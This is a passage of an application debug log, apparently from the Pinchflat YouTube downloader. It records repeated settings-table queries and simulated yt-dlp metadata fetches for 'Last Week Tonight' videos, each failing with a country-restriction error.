s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:27.065 [debug] QUERY OK source="settings" db=0.0ms idle=85.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:27.065 [debug] QUERY OK source="settings" db=0.0ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:27.066 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e3/49/e3490af614fdf0f1ebaa0c84c736f33e3c1501af77da8c8793d128c69ab1c59c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:27:28.995 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e3/49/e3490af614fdf0f1ebaa0c84c736f33e3c1501af77da8c8793d128c69ab1c59c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:27:28.995 [error] Error creating media item '-iRUq-Dy7QE' from URL: {:error, "ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:27:28.996 [debug] QUERY OK source="settings" db=0.1ms idle=132.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:28.996 [debug] QUERY OK source="settings" db=0.0ms idle=117.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:28.996 [debug] Running yt-dlp command for action: get_media_attributes 17:27:29.011 [debug] QUERY OK source="settings" db=0.0ms idle=133.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:29.011 [debug] QUERY OK source="settings" db=0.0ms idle=133.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:29.012 [debug] QUERY OK source="settings" db=0.0ms idle=133.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:29.012 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/15/4f/154f71f476c8a4d085706f3db392281822e4e774c8ade8c88e127db7ac68d19d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:27:29.406 [info] {"source":"oban","duration":12853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:30.438 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/15/4f/154f71f476c8a4d085706f3db392281822e4e774c8ade8c88e127db7ac68d19d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:27:30.438 [error] Error creating media item 'LmmeWg_DHdc' from URL: {:error, "ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:27:30.438 [debug] QUERY OK source="settings" db=0.1ms idle=1426.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:30.438 [debug] QUERY OK source="settings" db=0.0ms idle=1426.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:30.438 [debug] Running yt-dlp command for action: get_media_attributes 17:27:30.440 [debug] QUERY OK source="settings" db=0.1ms idle=1428.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:30.441 [debug] QUERY OK source="settings" db=0.0ms idle=1034.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:30.441 [debug] QUERY OK source="settings" db=0.0ms idle=576.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:30.441 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/fa/86/fa86405f7ea89fd6f5bb5e5dfe65d1c593f80a8c9373a4040947243a1882451a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:27:31.870 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/fa/86/fa86405f7ea89fd6f5bb5e5dfe65d1c593f80a8c9373a4040947243a1882451a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:27:31.871 [error] Error creating media item '0qmNAOCgbgY' from URL: {:error, "ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:27:31.871 [debug] QUERY OK source="settings" db=0.0ms idle=1430.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:31.871 [debug] QUERY OK source="settings" db=0.0ms idle=1430.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:31.871 [debug] Running yt-dlp command for action: get_media_attributes 17:27:31.873 [debug] QUERY OK source="settings" db=0.0ms idle=1432.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:31.873 [debug] QUERY OK source="settings" db=0.0ms idle=1007.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:31.873 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:31.873 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/bd/6e/bd6ef7a9401b5b0101369be0a128feb22d9ca4f29728bd3cf051241dd0875c23.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:27:33.113 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/bd/6e/bd6ef7a9401b5b0101369be0a128feb22d9ca4f29728bd3cf051241dd0875c23.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and 